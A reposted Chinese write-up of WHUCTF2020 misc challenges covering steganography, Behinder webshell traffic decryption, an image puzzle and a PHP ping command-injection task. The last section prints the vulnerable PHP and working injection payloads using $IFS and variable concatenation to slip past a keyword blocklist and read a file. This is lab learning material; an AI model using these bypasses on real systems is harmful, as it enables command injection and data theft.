WHUCTF2020 MISC


武漢大學的題還是很好的,有幾個點是知識盲區,弟弟把沒做出來的題復現一下

顏文字

鏈接:https://pan.baidu.com/s/1q_yZ-NqW_UQG2loADeefDg
提取碼:wwxz
1、掃QR Code,得到這個鏈接https://space.bilibili.com/309312103就卡住了(我傻了

png+key,嘗試lsb解(py2下哦)

python lsb.py extract 2333.png 1.txt 1234

2、看到最后是倒序的png。

版權保護

鏈接:https://pan.baidu.com/s/1IQmhAVuugDhfelStE7We_Q
提取碼:ud8j
1、

問貝塔姐姐學到一手,2個漢字中間8個零寬字符,只有&awj&zwnj2中零寬字符,(傻了傻了)按住鼠標拖到qq消息框

&awj記0,&zwnj記1,bin->hex。

shellOfAwd

鏈接:https://pan.baidu.com/s/1uwiiP8TA4iwy12z1OLNErA
提取碼:ymqu
1、過濾http流量
冰蠍流量的特征,參考:
冰蠍動態二進制加密WebShell基於流量側檢測方案
冰蠍動態二進制加密WebShell特征分析
基於流量側檢測冰蠍webshell交互通訊
在GET請求包中發現2次.php?pass=
在POST請求包中發現Transfer-Encoding: chunked

確定是冰蠍流量
2、冰蠍加密原理,參考:紅藍對抗——加密Webshell“冰蠍”攻防
前面提到的帶pass的2條流量隨便追蹤一個,客戶端GET請求申請密鑰,Sever產生隨機密鑰,並寫入Session,Client返回16位aes密鑰:91ee1bfc4fd27c90

冰蠍在通訊過程中采用AES加密,在線Aes解密

base64解碼后沒有什么用

往后流6.流7依次解,最終在流7找到flag

被匯編支配的恐懼

鏈接:https://pan.baidu.com/s/1-2mLBKhe85Nd4NmCzBm4jg
提取碼:jh07
hint1:你會拼圖嗎?
hint2:注意圖片內容本身,圖片是一本書哦
hint3:jpg文件末尾有幾位關鍵信息
hint4:最后一步:光柵等距填充
hint5:最后一步的字符串與拼音有關,有一個看不清的字母被替換成了特殊字符
1、拿到的附件是加密的pic.zip和王爽匯編的.jpg

在屬性中hint密碼是13位,根據hint3,在結尾發現圖書編號IBSN

網上搜索王爽匯編IBSN,剛好13位

2、100張bmp,1010或205
用linux下的convert命令拼圖,俺用了11次
水平方向合並為1.jpg:convert +append 1.bmp 2.bmp ... 1.jpg
豎直方向合並為res.jpg:convert -append 1.jpg 2.jpg ... res.jpg
原圖有點子小,放大后的:


3、WHUCTF{硬往圖上看還是可以的,然后根據Hint4、5,flag是能猜出來。

看了官方wp,感覺4列是一組,看其中一個字符,明顯2,3列是透明的,把每組的2,3列填充為黑色

from PIL import Image, ImageDraw

img = Image.open("ori.png")
draw = ImageDraw.Draw(img)
for i in range(101):
    if i % 4 == 1:
        draw.rectangle((i,0,i+2,100), 'black')
img.save("1.png")


啊哈哈哈,我感覺2個差不了多少
flag:WHUCTF{GUANG_SH@N}

wechat_game

鏈接:https://pan.baidu.com/s/1HlAQyf-76Hz5ZuVN-Inxeg
提取碼:g8qa
1、文件就是js,游戲用的圖片和音頻,txt
2、在txt中的game.txt漢字明顯是倒序的
3、strings -f * | grep "ftcuhw",根據執行結果在game12345.txt搜索關鍵字。

ezcmd(命令執行)

開題就是源碼:

<?php
if(isset($_GET['ip'])){
  $ip = $_GET['ip'];
  if(preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{1f}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
    echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
    die("fxck your symbol!");
  } else if(preg_match("/ /", $ip)){#不能有空格
    die("no space!");
  } else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){#不能有'.*f.*l.*a.*g'
    die("no flag");
  } else if(preg_match("/tac|rm|echo|cat|nl|less|more|tail|head/", $ip)){#不能有cat、more等關鍵字
    die("cat't read flag");
  }
  $a = shell_exec("ping -c 4 ".$ip); 
  echo "<pre>";
  print_r($a);
}
highlight_file(__FILE__);

?> 

知識點:

繞過方式:
1、空格繞過:$IFS$IFS$一位數字
2、黑名單繞過:
拼接繞過:a=fl;b=ag;$a$b
3、敏感字符繞過:
1)利用變量拼接繞過:a=c;b=a;c=t;$a$b$c
2)利用反斜杠\繞過:ca\t

解題:

因為flag字符串存在正則匹配,所以拼接時不能順着寫,payload:?ip=0.0.0.0;a=g;b=fla;ca\t$IFS$b$a.php

?ip=0.0.0.0;a=g;ca\t$IFS$9fla$a.phpF12


?ip=127.0.0.1;b=c;d=a;e=t;m=g;n=fla;$b$d$e$IFS$n$m.php
這道題和GXYCTF2019 Ping Ping Ping基本一樣。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM